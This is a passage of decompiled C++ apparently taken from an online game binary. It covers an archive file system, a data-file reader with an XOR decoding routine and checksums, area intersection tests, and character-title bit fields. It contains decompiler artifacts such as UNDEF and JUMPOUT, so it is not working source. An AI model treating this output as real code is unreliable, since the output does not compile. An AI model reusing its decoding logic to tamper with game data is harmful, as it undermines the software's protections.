v2->m_pChunkList[dwChunkEnd].Chunk.___u2.TYPE_MAIN.NumNextChunkComes = FPosHigh, *(_DWORD *)&v2->m_pChunkList[dwChunkEnd].Chunk.gap114[0] = NumMakes + 1, CGdp::GdpSetFilePointer( v2, v2->m_pChunkList[dwChunkEnd].ChunkFPos, &v2->m_pChunkList[dwChunkEnd].ChunkFPosHigh, 0) == -1) && GetLastError() || !CGdp::GdpWriteChunk(v2, &v2->m_pChunkList[dwChunkEnd].Chunk) || (v18 = v2->m_pChunkList, v19 = NumMakes + 1 + v2->m_dwNumChunk, v2->m_dwNumChunk = v19, v18->Chunk.___u2.TYPE_MAIN.NumChunk = v19, !CGdp::GdpUpdateChunk(v2, 0)) ) return -1; result = dwChunkEnd + 1; } return result; } //----- (00562540) -------------------------------------------------------- int __thiscall CGdp::GdpClose(CGdp *this) { CGdp *v1; // esi@1 CGdp::GDP_IO_TYPE v2; // eax@2 CGdp::GDP_IO_TYPE v4; // eax@9 v1 = this; if ( this->m_bIsOpen ) { v2 = this->m_GdpIO; if ( v2 ) { if ( v2 == 1 && CGdp::fclose(this, this->m_fpFile) ) return 0; } else { if ( !CGdp::CloseHandle(this, this->m_hFile) ) return 0; } v1->m_bIsOpen = 0; } if ( v1->m_bIsGDPOpen ) { v4 = v1->m_GdpIO; v1->m_bIsGDPOpen = 0; if ( v4 ) { if ( v4 == 1 && !v1->m_bIsGDPOpenByFilePointer ) fclose(v1->m_fpGDPFile); } else { if ( !v1->m_bIsGDPOpenByHandle ) CloseHandle(v1->m_hGDPFile); } } if ( v1->m_pChunkList ) free(v1->m_pChunkList); CGdp::Clear(v1); return 1; } //----- (005625F0) -------------------------------------------------------- int __thiscall CGdp::Open(CGdp *this, unsigned int GdpFileNo) { CGdp *v2; // esi@1 int result; // eax@2 unsigned int v4; // eax@8 void *v5; // edx@9 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_dwNumChunk >= GdpFileNo ) { if ( this->m_pChunkList[GdpFileNo].Chunk.Type == 2 && CGdp::GdpCloseFile(this) && (v4 = (unsigned int)&v2->m_pChunkList[GdpFileNo], v2->m_dwFileNo = GdpFileNo, v2->m_pFileChunk = (CGdp::GDP_CHUNK_LIST *)v4, v2->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes == CGdp::GdpSetFilePointer( v2, *(_DWORD *)(v4 + 280), (int *)(v4 + 284), 0)) ) { v5 = v2->m_hGDPFile; v2->m_fpFile = v2->m_fpGDPFile; result = 1; v2->m_hFile = v5; v2->m_bWritten = 0; v2->m_bIsOpen = 1; v2->m_bNew = 0; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; } //----- (005626B0) -------------------------------------------------------- int __thiscall CGdp::Open(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@3 v2 = this; if ( this->m_bIsGDPOpen && (v3 = CGdp::GdpSearchFile(this, lpFileName), v3 != -1) ) result = CGdp::Open(v2, v3); else result = 0; return result; } //----- (005626F0) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpGetEmptyChunk(CGdp *this) { unsigned int v1; // esi@1 unsigned int result; // eax@1 char *v3; // edx@2 v1 = this->m_dwNumChunk; result = 0; if ( v1 ) { v3 = (char *)&this->m_pChunkList->Chunk; while ( *(_DWORD *)v3 != 4 ) { ++result; v3 += 324; if ( result >= v1 ) goto LABEL_5; } } else { LABEL_5: result = CGdp::GdpMakeEmptyChunk(this, this->m_dwDefaultNumEmptyMakes); } return result; } //----- (00562730) -------------------------------------------------------- void *__thiscall CGdp::CreateFileA(CGdp *this, const char *lpFileName, unsigned int dwDesiredAccess, unsigned int dwShareMode, _SECURITY_ATTRIBUTES *lpSecurityAttributes, unsigned int dwCreationDisposition, unsigned int dwFlagsAndAttributes, void *hTemplateFile) { CGdp *v8; // esi@1 void *result; // eax@2 CGdp::GDP_IO_TYPE v10; // eax@4 const char *v11; // edi@9 unsigned int v12; // eax@20 int v13; // eax@21 struct _SYSTEMTIME SystemTime; // [sp+8h] [bp-10h]@21 v8 = this; if ( !this->m_bIsGDPOpen ) return CreateFileA( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); if ( this->m_bIsOpen ) { v10 = this->m_GdpIO; if ( v10 ) { if ( v10 == 1 ) CGdp::fclose(this, this->m_fpFile); } else { CGdp::CloseHandle(this, this->m_hFile); } } switch ( dwCreationDisposition ) { case 1u: v11 = lpFileName; if ( CGdp::GdpSearchFile(v8, lpFileName) == -1 ) goto LABEL_Create_New; SetLastError(0xB7u); return (void *)-1; case 2u: v11 = lpFileName; CGdp::GdpDeleteFile(v8, lpFileName); goto LABEL_Create_New; case 3u: if ( !CGdp::Open(v8, lpFileName) ) goto LABEL_18; return v8->m_hFile; case 4u: v11 = lpFileName; if ( !CGdp::Open(v8, lpFileName) ) goto LABEL_Create_New; return v8->m_hFile; case 5u: v11 = lpFileName; if ( CGdp::GdpSearchFile(v8, lpFileName) != -1 ) { LABEL_18: SetLastError(0x490u); return (void *)-1; } if ( !CGdp::GdpDeleteFile(v8, 0xFFFFFFFFu) ) return (void *)-1; LABEL_Create_New: v12 = CGdp::GdpGetEmptyChunk(v8); v8->m_dwFileNo = v12; if ( v12 == -1 || (GetSystemTime(&SystemTime), v13 = (int)&v8->m_pChunkList[v8->m_dwFileNo], v8->m_pFileChunk = (CGdp::GDP_CHUNK_LIST *)v13, *(_DWORD *)(v13 + 8) = 2, strncpy(v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.Comment, v11, 0x103u), *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[4] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[8] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[12] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[16] = 0, SystemTimeToFileTime(&SystemTime, (LPFILETIME)&v8->m_pFileChunk->Chunk.gap114[20]), *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[28] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[0] = 0, v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes = SetFilePointer( v8->m_hGDPFile, 0, (PLONG)v8->m_pFileChunk->Chunk.gap114, 2u), v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes == -1) && GetLastError() ) return (void *)-1; result = v8->m_hGDPFile; v8->m_bWritten = 0; v8->m_fpFile = 0; v8->m_hFile = result; v8->m_bIsOpen = 1; v8->m_bNew = 1; return result; default: return (void *)-1; } } //----- (005629B0) -------------------------------------------------------- void __thiscall CSocket_Acceptor_Process::CSocket_Acceptor_Process(CSocket_Acceptor_Process *this) { CSocket_Acceptor_Process *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = (char *)&this->m_DefaultProcess; *(_DWORD *)v2 = &CSocket_Acceptor_Process_Interface::_vftable_; v1->m_pProcess = (CSocket_Acceptor_Process_Interface *)v2; } // 5DB51C: using guessed type int (__stdcall *CSocket_Acceptor_Process_Interface___vftable_)(int pOverlapped, int NumOfBytes); //----- (005629C0) -------------------------------------------------------- void __thiscall CDataReader::CDataReader(CDataReader *this) { *(_QWORD *)&this->m_sFileMD5.n8_name[24] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[16] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[8] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[0] = 0i64; this->m_pHead = 0; this->m_nBFSize = 0; this->m_nDataArraySize = 0; this->m_nFileCheckSum = 0; } //----- (005629F0) -------------------------------------------------------- void __thiscall CDataReader::ClearBF(CDataReader *this) { CDataReader *v1; // esi@1 v1 = this; if ( this->m_nBFSize ) { operator delete(this->m_pHead); v1->m_pHead = 0; v1->m_pData = 0; } v1->m_nBFSize = 0; v1->m_nFileCheckSum = 0; } //----- (00562A20) -------------------------------------------------------- void __cdecl CDataReader::Encription(CDataReader *this, char *pBF, unsigned int nSize) { char v3; // al@1 char *i; // ecx@1 char v5; // dl@2 v3 = (char)pBF; for ( i = pBF - 1; (signed int)i >= 0; LOBYTE(pBF) = v5 ) { *((_BYTE *)&this->m_nFileSize + (_DWORD)i) ^= v3; v5 = (unsigned __int8)pBF ^ 11 * (_BYTE)i ^ (((unsigned __int8)i & 0xF) + 85) ^ 0xAA; --i; v3 = v5; } } //----- (00562A60) -------------------------------------------------------- void *__thiscall CDataReader::GetRecord(CDataReader *this, unsigned int RecordNo) { CDataReader::HEAD *v2; // eax@1 void *result; // eax@3 v2 = this->m_pHead; if ( v2 && RecordNo < v2->nNumOfRecord ) result = this->m_pDataArray[RecordNo]; else result = 0; return result; } //----- (00562A80) -------------------------------------------------------- void __thiscall CDataReader::_CDataReader(CDataReader *this) { CDataReader *v1; // esi@1 bool v2; // zf@3 v1 = this; if ( this->m_nBFSize ) { operator delete(this->m_pHead); v1->m_pHead = 0; v1->m_pData = 0; } v2 = v1->m_nDataArraySize == 0; v1->m_nBFSize = 0; v1->m_nFileCheckSum = 0; if ( !v2 ) operator delete__(v1->m_pDataArray); v1->m_nDataArraySize = 0; } //----- (00562AC0) -------------------------------------------------------- int __thiscall CDataReader::Read(CDataReader *this, const char *pFN) { CDataReader *v2; // esi@1 _iobuf *v3; // eax@1 _iobuf *v4; // edi@1 int v5; // eax@2 int v6; // eax@2 unsigned int v7; // ecx@2 void *v8; // eax@5 unsigned int v9; // edx@5 unsigned int v10; // ebp@6 CDataReader::HEAD *v11; // eax@10 CDataReader::HEAD *v12; // eax@13 unsigned int v13; // edi@14 unsigned int v14; // eax@16 char *v15; // eax@20 unsigned int i; // ecx@20 unsigned int v17; // edx@22 unsigned int v18; // eax@22 CDataReader::HEAD *v19; // ecx@23 void *v20; // eax@25 int v21; // esi@27 int result; // eax@33 Name8 v23; // [sp-20h] [bp-5Ch]@27 char *v24; // [sp-Ch] [bp-48h]@27 const char *v25; // [sp-8h] [bp-44h]@27 unsigned int v26; // [sp-4h] [bp-40h]@5 unsigned int v27; // [sp+0h] [bp-3Ch]@12 char sFileMD5; // [sp+10h] [bp-2Ch]@25 char *p; // [sp+14h] [bp-28h]@25 unsigned int v30; // [sp+28h] [bp-14h]@25 unsigned int cookie; // [sp+2Ch] [bp-10h]@33 int v32; // [sp+38h] [bp-4h]@25 v2 = this; v3 = fopen(pFN, "rb"); v4 = v3; if ( v3 ) { v5 = fileno(v3); v6 = filelength(v5); v7 = v2->m_nBFSize; v2->m_nFileSize = v6; if ( v7 < v6 ) { if ( v7 ) { operator delete(v2->m_pHead); v2->m_pHead = 0; v2->m_pData = 0; } v26 = v2->m_nFileSize; v2->m_nBFSize = 0; v2->m_nFileCheckSum = 0; v8 = operator new__(v26); v9 = v2->m_nFileSize; v2->m_pHead = (CDataReader::HEAD *)v8; v2->m_pData = 0; v2->m_nBFSize = v9; } v10 = fread(v2->m_pHead, v2->m_nFileSize, 1u, v4); fclose(v4); if ( v10 == 1 ) { v11 = v2->m_pHead; if ( v11 && v11->nDataMode ) CDataReader::Encription((CDataReader *)&v11->nDataSize, (char *)(v2->m_nFileSize - 36), v27); v12 = v2->m_pHead; v2->m_pData = (char *)&v12[1] + 56 * v12->nNumOfField; if ( v12 ) v13 = v12->nNumOfRecord; else v13 = 0; v14 = v2->m_nDataArraySize; if ( v14 < v13 ) { if ( v14 ) operator delete__(v2->m_pDataArray); v26 = 4 * v13; v2->m_nDataArraySize = 0; v2->m_pDataArray = (char **)operator new__(v26); v2->m_nDataArraySize = v13; } v15 = v2->m_pData; for ( i = 0; i < v13; ++i ) { v2->m_pDataArray[i] = v15 + 2; v15 += *(_WORD *)v15; } v17 = v2->m_nBFSize; v18 = 0; v2->m_nFileCheckSum = 0; if ( v17 > 0 ) { v19 = v2->m_pHead; do { v2->m_nFileCheckSum += v18 * *((_BYTE *)&v19->nVersionKey + v18); ++v18; } while ( v18 < v2->m_nBFSize ); } CMD5Checksum::GetMD5( (std::basic_string,std::allocator > *)&sFileMD5, (char *)v2->m_pHead, v17); v20 = p; v32 = 0; if ( v30 < 0x10 ) v20 = &p; v21 = (int)&v2->m_sFileMD5; v26 = 32; v25 = (const char *)v20; v24 = (char *)v21; *(_DWORD *)(v21 + 28) = 0; *(_DWORD *)(v21 + 24) = 0; *(_DWORD *)(v21 + 20) = 0; *(_DWORD *)(v21 + 16) = 0; *(_DWORD *)(v21 + 12) = 0; *(_DWORD *)(v21 + 8) = 0; *(_DWORD *)(v21 + 4) = 0; *(_DWORD *)v21 = 0; strncpy(v24, v25, v26); memcpy(&v23, (const void *)v21, sizeof(v23)); if ( CShnDataFileCheckSum::InitDataFileCheckSum(&ShnDataFile, pFN, v23) ) { if ( v30 >= 0x10 ) operator delete(p); } else { if ( v30 >= 0x10 ) operator delete(p); } } else { if ( v2->m_nBFSize ) { operator delete(v2->m_pHead); v2->m_pHead = 0; v2->m_pData = 0; } v2->m_nBFSize = 0; v2->m_nFileCheckSum = 0; } } __security_check_cookie(cookie); return result; } //----- (00562D10) -------------------------------------------------------- int __thiscall CDataReader::Read(CDataReader *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CDataReader *v4; // esi@1 int result; // eax@2 CDataReader::HEAD *v6; // eax@3 v4 = this; if ( CDataReader::Read(this, pFN) && (v6 = v4->m_pHead, v6->nVersionKey == nVersionKey) ) result = v6->nFieldSize - 2 == nStructSize; else result = 0; return result; } //----- (00562D50) -------------------------------------------------------- bool __thiscall AreaInfoData::AE_Circle::IntersectTest(AreaInfoData::AE_Circle *this, float fX, float fY) { __int16 v3; // fps@1 unsigned __int8 v4; // c0@1 unsigned __int8 v5; // c3@1 bool result; // al@2 UNDEF(v3); if ( v4 | v5 ) result = 0; else result = 1; return result; } //----- (00562D90) -------------------------------------------------------- bool __thiscall AreaInfoData::AE_Square::IntersectTest(AreaInfoData::AE_Square *this, float fX, float fY) { double v3; // st7@1 double v4; // st6@1 long double v5; // st5@1 long double v6; // st5@1 long double v7; // st5@1 float fXa; // [sp+4h] [bp+4h]@1 float fCos; // [sp+8h] [bp+8h]@1 v3 = fX - this->fCenterX; v4 = fY - this->fCenterY; v5 = -this->fAngle; fXa = cos(v5); v6 = sin(v5); fCos = v6 * v4 + fXa * v3; v7 = fXa * v4 - v6 * v3; return -this->fRadiusV <= v7 && v7 <= this->fRadiusV && -this->fRadiusU <= fCos && this->fRadiusU >= (double)fCos; } //----- (00562E10) -------------------------------------------------------- void __thiscall AreaInfoData::AreaInfoData(AreaInfoData *this) { this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; this->m_uiTotalDataCnt = 0; memset(this->m_pData, 0, sizeof(this->m_pData)); } // 5DB520: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (00562E40) -------------------------------------------------------- AreaInfoData::IAreaData *__thiscall AreaInfoData::GetData(AreaInfoData *this, Name8 *Name) { unsigned int v2; // edi@1 unsigned int v3; // edx@1 AreaInfoData::IAreaData **v4; // esi@2 AreaInfoData::IAreaData *result; // eax@3 v2 = this->m_uiTotalDataCnt; v3 = 0; if ( v2 ) { v4 = this->m_pData; do { result = *v4; if ( !*v4 ) break; if ( *(_DWORD *)&Name->n8_name[0] == *(_DWORD *)&result->Name.n8_name[0] && *(_DWORD *)&Name->n8_name[4] == *(_DWORD *)&result->Name.n8_name[4] && *(_DWORD *)&Name->n8_name[8] == *(_DWORD *)&result->Name.n8_name[8] && *(_DWORD *)&Name->n8_name[12] == *(_DWORD *)&result->Name.n8_name[12] && *(_DWORD *)&Name->n8_name[16] == *(_DWORD *)&result->Name.n8_name[16] && *(_DWORD *)&Name->n8_name[20] == *(_DWORD *)&result->Name.n8_name[20] && *(_DWORD *)&Name->n8_name[24] == *(_DWORD *)&result->Name.n8_name[24] && *(_DWORD *)&Name->n8_name[28] == *(_DWORD *)&result->Name.n8_name[28] ) return result; ++v3; ++v4; } while ( v3 < v2 ); } return 0; } //----- (00562EB0) -------------------------------------------------------- void __thiscall AreaInfoData::RemoveAll(AreaInfoData *this) { void **v1; // esi@1 signed int v2; // edi@1 this->m_uiTotalDataCnt = 0; v1 = (void **)this->m_pData; v2 = 256; do { if ( *v1 ) operator delete(*v1); *v1 = 0; ++v1; --v2; } while ( v2 ); } //----- (00562EF0) -------------------------------------------------------- void __thiscall AreaInfoData::_AreaInfoData(AreaInfoData *this) { this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; AreaInfoData::RemoveAll(this); } // 5DB520: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (00562F00) -------------------------------------------------------- bool __thiscall AreaInfoData::Load(AreaInfoData *this, const char *szFileName) { AreaInfoData *v2; // esi@1 _iobuf *v3; // ebx@1 bool result; // al@2 int v5; // ebp@4 void *v6; // eax@7 void *v7; // esi@8 int v8; // edx@10 void *v9; // eax@12 void *v10; // esi@13 int v11; // ecx@15 void *v12; // esi@15 unsigned int i; // [sp+Ch] [bp-4Ch]@3 int v14; // [sp+10h] [bp-48h]@3 char Name[4]; // [sp+14h] [bp-44h]@6 int v16; // [sp+18h] [bp-40h]@6 int v17; // [sp+1Ch] [bp-3Ch]@6 int v18; // [sp+20h] [bp-38h]@6 int v19; // [sp+24h] [bp-34h]@6 int v20; // [sp+28h] [bp-30h]@6 int v21; // [sp+2Ch] [bp-2Ch]@6 int v22; // [sp+30h] [bp-28h]@6 char szName[32]; // [sp+34h] [bp-24h]@6 v2 = this; v3 = fopen(szFileName, "rb"); if ( v3 ) { AreaInfoData::RemoveAll(v2); v14 = (int)&v2->m_uiTotalDataCnt; fread(&v2->m_uiTotalDataCnt, 4u, 1u, v3); i = 0; if ( v2->m_uiTotalDataCnt ) { v5 = (int)v2->m_pData; do { if ( i >= 0x100 ) break; v22 = 0; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; *(_DWORD *)Name = 0; fread(szName, 1u, 0x20u, v3); v22 = 0; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; *(_DWORD *)Name = 0; strncpy(Name, szName, 0x20u); fread(&szFileName, 4u, 1u, v3); if ( szFileName ) { if ( szFileName == (const char *)1 ) { v9 = operator new(0x3Cu); if ( v9 ) { *((_DWORD *)v9 + 8) = 0; *((_DWORD *)v9 + 7) = 0; *((_DWORD *)v9 + 6) = 0; *((_DWORD *)v9 + 5) = 0; *((_DWORD *)v9 + 4) = 0; *((_DWORD *)v9 + 3) = 0; *((_DWORD *)v9 + 2) = 0; *((_DWORD *)v9 + 1) = 0; *(_DWORD *)v9 = AreaInfoData::AE_Square::_vftable_; v10 = v9; } else { v10 = 0; } v11 = *(_DWORD *)Name; *(_DWORD *)v5 = v10; *((_DWORD *)v10 + 1) = v11; *((_DWORD *)v10 + 2) = v16; *((_DWORD *)v10 + 3) = v17; *((_DWORD *)v10 + 4) = v18; *((_DWORD *)v10 + 5) = v19; *((_DWORD *)v10 + 6) = v20; *((_DWORD *)v10 + 7) = v21; *((_DWORD *)v10 + 8) = v22; *((_DWORD *)v10 + 9) = szFileName; fread((char *)v10 + 40, 4u, 1u, v3); fread((char *)v10 + 44, 4u, 1u, v3); fread((char *)v10 + 48, 4u, 1u, v3); fread((char *)v10 + 52, 4u, 1u, v3); v12 = (char *)v10 + 56; fread(v12, 4u, 1u, v3); *(float *)v12 = atan2(1.0, 1.0) * 4.0 * *(float *)v12 * 0.0055555557; } } else { v6 = operator new(0x34u); if ( v6 ) { *((_DWORD *)v6 + 8) = 0; *((_DWORD *)v6 + 7) = 0; *((_DWORD *)v6 + 6) = 0; *((_DWORD *)v6 + 5) = 0; *((_DWORD *)v6 + 4) = 0; *((_DWORD *)v6 + 3) = 0; *((_DWORD *)v6 + 2) = 0; *((_DWORD *)v6 + 1) = 0; *(_DWORD *)v6 = &AreaInfoData::AE_Circle::_vftable_; v7 = v6; } else { v7 = 0; } v8 = *(_DWORD *)Name; *(_DWORD *)v5 = v7; *((_DWORD *)v7 + 1) = v8; *((_DWORD *)v7 + 2) = v16; *((_DWORD *)v7 + 3) = v17; *((_DWORD *)v7 + 4) = v18; *((_DWORD *)v7 + 5) = v19; *((_DWORD *)v7 + 6) = v20; *((_DWORD *)v7 + 7) = v21; *((_DWORD *)v7 + 8) = v22; *((_DWORD *)v7 + 9) = szFileName; fread((char *)v7 + 40, 4u, 1u, v3); fread((char *)v7 + 44, 4u, 1u, v3); fread((char *)v7 + 48, 4u, 1u, v3); } v5 += 4; ++i; } while ( i < *(_DWORD *)v14 ); } fclose(v3); result = 1; } else { result = 0; } return result; } // 5DB524: using guessed type int (__stdcall *AreaInfoData__AE_Square___vftable_[2])(float fX, float fCos); // 5DB528: using guessed type int (__stdcall *AreaInfoData__AE_Circle___vftable_)(float fX, float fY); //----- (005631D0) -------------------------------------------------------- void *__thiscall AreaInfoData::_vector_deleting_destructor_(AreaInfoData *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; AreaInfoData::RemoveAll(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 5DB520: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (00563200) -------------------------------------------------------- CHARACTER_TITLE_DATA *__thiscall CCharacterTitleData::GetGroupData(CCharacterTitleData *this, char Type) { CDataReader::HEAD *v2; // eax@1 CHARACTER_TITLE_DATA *result; // eax@3 v2 = this->m_CharacterTitleData.m_pHead; if ( v2 && (unsigned __int8)Type < v2->nNumOfRecord ) result = (CHARACTER_TITLE_DATA *)CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type); else result = 0; return result; } //----- (00563230) -------------------------------------------------------- const char *__thiscall CCharacterTitleData::GetTitleString(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 const char *result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = (char *)v4 + 4; break; case 1: result = (char *)v4 + 44; break; case 2: result = (char *)v4 + 84; break; case 3: result = (char *)v4 + 124; break; default: goto LABEL_9; } } else { LABEL_9: result = &szCTNull; } return result; } //----- (00563290) -------------------------------------------------------- unsigned int __thiscall CCharacterTitleData::GetTitleValue(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 unsigned int result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = *((_DWORD *)v4 + 9); break; case 1: result = *((_DWORD *)v4 + 19); break; case 2: result = *((_DWORD *)v4 + 29); break; case 3: result = *((_DWORD *)v4 + 39); break; default: goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (005632F0) -------------------------------------------------------- unsigned int __thiscall CCharacterTitleData::GetTitleFame(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 unsigned int result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = *((_DWORD *)v4 + 10); break; case 1: result = *((_DWORD *)v4 + 20); break; case 2: result = *((_DWORD *)v4 + 30); break; case 3: result = *((_DWORD *)v4 + 40); break; default: goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (00563350) -------------------------------------------------------- CT_TITLE *__thiscall CCharacterTitle::GetGroupTitle(CCharacterTitle *this, char Type) { CT_TITLE *result; // eax@2 if ( (unsigned __int8)Type < 0x3Cu ) result = &this->m_Titles[(unsigned __int8)Type]; else result = 0; return result; } //----- (00563370) -------------------------------------------------------- CT_ELEMENT_VALUE __thiscall CCharacterTitle::GetTitleStatus(CCharacterTitle *this, char Type, char ElementNo) { char *v3; // eax@2 CT_ELEMENT_VALUE result; // eax@4 if ( (unsigned __int8)Type >= 0x3Cu || (v3 = (char *)&this->m_Titles[(unsigned __int8)Type], (CCharacterTitle *)((char *)this + (unsigned __int8)Type) == (CCharacterTitle *)-4) ) { LABEL_8: result = 0; } else { switch ( ElementNo ) { case 0: result = *v3 & 3; break; case 1: result = ((unsigned int)(unsigned __int8)*v3 >> 2) & 3; break; case 2: result = ((unsigned int)(unsigned __int8)*v3 >> 4) & 3; break; case 3: result = (unsigned int)(unsigned __int8)*v3 >> 6; break; default: goto LABEL_8; } } return result; } //----- (005633E0) -------------------------------------------------------- int __thiscall CCharacterTitle::IsUsableTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID) { JUMPOUT(Type, 0, DllMain); JUMPOUT(Type, 10, DllMain); return (signed int)CCharacterTitle::GetTitleStatus(this, Type, ElementNo) >= 2; } // 563404: using guessed type int __stdcall DllMain(int, int, int); //----- (00563410) -------------------------------------------------------- int __thiscall CCharacterTitle::AddView(CCharacterTitle *this, char Type, char ElementNo) { int v3; // edi@1 int v4; // esi@1 char *v5; // eax@2 int result; // eax@6 v3 = this->m_NumOfView; v4 = 0; if ( v3 <= 0 ) { LABEL_6: this->m_ViewArray[v3].Type = Type; this->m_ViewArray[this->m_NumOfView++].ElementNo = ElementNo; result = 1; } else { v5 = &this->m_ViewArray[0].ElementNo; while ( *(v5 - 1) != Type || *v5 != ElementNo ) { ++v4; v5 += 2; if ( v4 >= this->m_NumOfView ) goto LABEL_6; } result = 0; } return result; } //----- (00563470) -------------------------------------------------------- int __thiscall CCharacterTitle::SetCurrentTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID, const char *pSpecialTitle) { char v5; // dl@1 CCharacterTitle *v6; // esi@1 int result; // eax@3 const char *v8; // eax@4 v5 = Type; v6 = this; if ( !Type || Type == 10 || (result = (signed int)CCharacterTitle::GetTitleStatus(this, Type, ElementNo) >= 2) != 0 ) { v6->m_CurrentTitleMobID = MobID; v8 = pSpecialTitle; v6->m_CurrentTitle = v5; v6->m_CurrentTitleElement = ElementNo; if ( !pSpecialTitle ) { if ( !v5 ) { v6->m_pTitle = szCTNone; return 1; } v8 = CCharacterTitleData::GetTitleString(v6->m_pCharacterTitleData, v5, ElementNo); } v6->m_pTitle = v8; result = 1; } return result; } //----- (005634F0) -------------------------------------------------------- void __thiscall CCharacterTitle::Clear(CCharacterTitle *this) { memset(this->m_Titles, 0, sizeof(this->m_Titles)); this->m_CurrentTitle = 0; this->m_CurrentTitleElement = 0; this->m_CurrentTitleMobID = -1; this->m_pTitle = szCTNone; this->m_NumOfView = 0; } //----- (00563530) -------------------------------------------------------- unsigned int __thiscall CCharacterTitle::GetMyTitleCount(CCharacterTitle *this) { unsigned int v1; // ebp@1 signed int v2; // ebx@1 signed int v3; // eax@3 char *v4; // edx@5 signed int v5; // edx@7 v1 = 0; v2 = 0; do { if ( v2 == 10 ) { v1 += 4; } else { v3 = 0; do { if ( (unsigned __int8)v2 < 0x3Cu ) { v4 = (char *)&this->m_Titles[(unsigned __int8)v2]; if ( (CCharacterTitle *)((char *)this + (unsigned __int8)v2) != (CCharacterTitle *)-4 ) { switch ( (unsigned __int8)v3 ) { case 0u: v5 = *v4 & 3; goto LABEL_11; case 1u: v5 = ((unsigned int)(unsigned __int8)*v4 >> 2) & 3; goto LABEL_11; case 2u: v5 = ((unsigned int)(unsigned __int8)*v4 >> 4) & 3; goto LABEL_11; case 3u: v5 = (unsigned int)(unsigned __int8)*v4 >> 6; LABEL_11: if ( v5 >= 1 ) ++v1; break; default: break; } } } ++v3; } while ( v3 < 4 ); } ++v2; } while ( v2 < 60 ); return v1; } //----- (005635C0) -------------------------------------------------------- int __thiscall CCharacterTitle::SetTitleStatus(CCharacterTitle *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue) { char *v4; // eax@2 int result; // eax@3 if ( (unsigned __int8)Type < 0x3Cu && (v4 = (char *)&this->m_Titles[(unsigned __int8)Type], (CCharacterTitle *)((char *)this + (unsigned __int8)Type) != (CCharacterTitle *)-4) ) { switch ( ElementNo ) { case 0: *v4 ^= (ElementValue ^ *v4) & 3; goto LABEL_9; case 1: *v4 ^= (*v4 ^ 4 * ElementValue) & 0xC; goto LABEL_9; case 2: *v4 ^= (*v4 ^ 16 * ElementValue) & 0x30; goto LABEL_9; case 3: *v4 = ((_BYTE)ElementValue << 6) | *v4 & 0x3F; LABEL_9: CCharacterTitle::AddView(this, Type, ElementNo); result = 1; break; default: result = 0; break; } } else { result = 0; } return result; } //----- (00563670) -------------------------------------------------------- void __thiscall CCharacterTitle::CCharacterTitle(CCharacterTitle *this, CCharacterTitleData *pCharacterTitleData) { this->m_pCharacterTitleData = pCharacterTitleData; memset(this->m_Titles, 0, sizeof(this->m_Titles)); this->m_CurrentTitle = 0; this->m_CurrentTitleElement = 0; this->m_NumOfView = 0; this->m_CurrentTitleMobID = -1; this->m_pTitle = szCTNone; } //----- (005636B0) -------------------------------------------------------- void __thiscall CQuest::_CQuest(CQuest *this) { CQuest *v1; // esi@1 void *v2; // eax@1 void *v3; // eax@3 v1 = this; v2 = this->m_pQuestArray; this->vfptr = (CQuestVtbl *)&CQuest::_vftable_; if ( v2 ) { free(v2); v1->m_pQuestArray = 0; } v3 = v1->m_pQuestListWithNPC; v1->m_NumOfQuestBF = 0; v1->m_NumOfQuest 